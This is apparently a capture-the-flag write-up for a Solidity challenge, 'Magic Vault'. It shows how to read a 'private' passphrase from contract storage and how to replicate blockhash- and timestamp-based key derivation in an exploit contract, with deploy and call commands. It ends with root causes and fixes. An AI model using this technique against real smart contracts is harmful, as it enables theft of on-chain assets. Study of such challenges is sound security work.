Magic Vault

Alex finds a magic vault sealed by powerful enchantments. The vault has a complex unlock mechanism that requires a specifically crafted password. This challenge tests your understanding of Solidity's type system, particularly how different types handle bytes and how block-dependent values create timing constraints.

Objective: Make isSolved() return true. The win condition checks that mapHolder is no longer the vault itself — i.e., someone has calledclaimContent() after successfully unlocking it.

Setup.sol

The vault is initialized as its own mapHolder. We win when mapHolder is anyone else.

Vault.sol — The Target Contract

Three things stand out immediately from reading this source:

1. passphrase is stored with private — but as we learned in Rivals, this doesn't prevent us from reading it via storage.
2. The unlock() function takes a bytes16 password and sets isUnlocked — we need to understand what password it accepts.
3. claimContent() is straightforward — it just needs isUnlocked to be true.

The unlock() function is the heart of the challenge:

At first glance, Cases 1 and 2 appear contradictory:

• Case 1: _input != _secretKey — the full 128-bit password must NOT equal the secret key.
• Case 2: uint64(_input) == uint64(_secretKey) — the lower 64 bits of the password MUST equal the lower 64 bits of the secret key.

These can both be satisfied simultaneously if the password has different upper bits than the secret key, while sharing the same lower 64 bits. Case 3 tells us exactly what to put in the upper bits.

Understanding this requires understanding how Solidity's type conversions work.

When you widen a bytes8 to bytes16, zero-padding is added on the right:

bytes8   value:    [ A A A A A A A A | _ _ _ _ _ _ _ _ ]
                    (8 significant bytes on the left)

Cast to bytes16:   [ A A A A A A A A | 0 0 0 0 0 0 0 0 ]
                    (original 8 bytes, then 8 zero bytes)

When you then convert bytes16 to uint128, the byte sequence is interpreted as a big-endian integer. A bytes16 value with the pattern[A A A A A A A A 0 0 0 0 0 0 0 0] becomes a 128-bit integer where the A-bytes occupy the upper 64 bits and zeros fill the lower 64.

This is how _secretKey is derived in unlock():

This is the critical insight: _secretKey is always uint128(uint64(_secret_as_uint128)), which due to the byte-alignment of bytes8→bytes16→uint128, always has its upper 64 bits zero. So _secretKey is effectively a value whose upper 64 bits are zero.

bytes16 _password layout:
┌──────────────────────────┬──────────────────────────┐
│   Upper 64 bits (8 bytes)│   Lower 64 bits (8 bytes)│
│                          │                          │
│  uint64(uint160(owner))  │     uint64(_secretKey)   │
│  = lower 8 bytes of owner│     = _secret value      │
└──────────────────────────┴──────────────────────────┘
         │                              │
         │                              └── Case 2: uint64(_input) == uint64(_secretKey) ✓
         │
         └── Makes upper bits of _input non-zero
             → _input != _secretKey (Case 1) ✓   (since _secretKey has zero upper bits)
             → Also satisfies Case 3: upper bytes of _password = lower bytes of owner ✓

All three cases resolved:

• Case 1 (_input != _secretKey): Our password has non-zero upper bits (filled with owner address bytes). The _secretKey has zero upper bits. They differ. ✓
• Case 2 (uint64(_input) == uint64(_secretKey)): Both share the same lower 64 bits. ✓
• Case 3 (uint64(bytes8(_password)) == uint64(uint160(owner))): We explicitly placed uint64(uint160(owner)) in the upper bytes of our password. ✓

The password construction in code:

Now we know the shape of the password — but we still need the value that goes in the lower 64 bits (the secretLow part). That comes from _magicPassword().

The derivation depends on:

• passphrase: A private bytes32 initialized in the constructor as keccak256(abi.encodePacked(address(this))). Readable from storage slot 2.
• nonce: Starts at 0, increments on each successful unlock. Readable as a public variable or from storage slot 3.
• blockhash(block.number - reductor): The hash of a specific recent block. Only known at mining time of the current transaction's block.
• block.timestamp % 2 + 1: The reductor for _key1 is either 1 or 2, depending on whether the current block's timestamp is odd or even.

An intuitive approach: read passphrase and nonce from storage, simulate _magicPassword() off-chain, and submit the result.

This approach fails because:

The solution is to replicate _magicPassword() inside our own exploit contract and callunlock() in the same transaction.

Our EOA submits a single transaction:

  call: ExploitContract.pwn(passphrase)
           │
           ├── read nonce from vault
           ├── read owner from vault
           ├── compute _magicPassword() locally
           │     (same blockhash, same block.timestamp)
           ├── derive secretKey from magic value
           ├── pack password = (ownerLow << 64) | secretKey
           │
           ├── call vault.unlock(password)
           │     (vault also computes _magicPassword()
           │      in the SAME block → same result)
           │
           └── call vault.claimContent()
                  → isUnlocked is true
                  → map.holder = ExploitContract
                  → isSolved() → true

Before deploying the exploit contract, we need to read the passphrase from storage. The vault's storage layout:

Slot 0: map.holder + map.initialized   (address 20B + bool 1B, packed in one slot)
Slot 1: owner                           (address, 20 bytes)
Slot 2: passphrase                      (bytes32, private — but readable!)
Slot 3: nonce                           (uint256)
Slot 4: isUnlocked                      (bool)

$ cast storage <TARGET_ADDRESS> 2 --rpc-url $RPC

0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563

This is the passphrase. We will pass it to the exploit contract so it can replicate the key derivation.

The key design choices in this exploit contract:

• Lines 19–20: _generateKey is a pure view function that computes the same blockhash-based key. Since it's called in the same transaction as unlock(), the blockhash values are identical.
• Lines 25–30: _magicPassword replicates the vault's function exactly. The passphrase is passed in as an argument (we read it from storage and supply it).
• Lines 39–41: Extract the two components of the password: the lower 64 bits of the magic value, and the lower 64 bits of the owner address.
• Line 43: Pack them into a bytes16 with ownerLow in the upper 64 bits and secretLow in the lower 64 bits.
• Lines 44–45: Call unlock() and then claimContent() in one transaction.

Deploy the exploit contract:

$ export PASSPHRASE="0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563"

forge create Exploit.sol:Exploit \
  --rpc-url "$RPC" \
  --private-key "$PRIVATE_KEY" \
  --broadcast \
  --constructor-args "$TARGET"

Deploying Exploit...
Deployed to: 0x9D40C359a0E749756e2b8D4Cd15337B564B2f818

$ export EXPLOIT="0x9D40C359a0E749756e2b8D4Cd15337B564B2f818"
cast send "$EXPLOIT" "pwn(bytes32)" "$PASSPHRASE" \
  --rpc-url "$RPC" \
  --private-key "$PRIVATE_KEY"

$ cast call "$TARGET" "mapHolder()" --rpc-url "$RPC"

0x0000000000000000000000009D40C359a0E749756e2b8D4Cd15337B564B2f818

The mapHolder is now our exploit contract's address — no longer the vault itself. The win condition is satisfied.

$ cast call "$SETUP" "isSolved()" --rpc-url "$RPC"

0x0000000000000000000000000000000000000000000000000000000000000001

Root Cause 1 — Private Storage Is Not Secret

The passphrase that seeded the key derivation was stored on-chain. Regardless of its private declaration, it is readable via eth_getStorageAt.

Root Cause 2 — Blockchain-Dependent Values are Replicable On-Chain

blockhash and block.timestamp are not private sources of entropy. Any contract can read these values. An attacker who replicates the logic on-chain can obtain exactly the same "secret" in the same transaction.

Correct Approaches

• Use a commit-reveal scheme with an off-chain secret that is never stored on-chain.
• Use a Verifiable Random Function (VRF) from an oracle like Chainlink VRF for genuine on-chain randomness.
• Do not use blockhash, block.timestamp, or block.number as sources of secrecy — they are public values.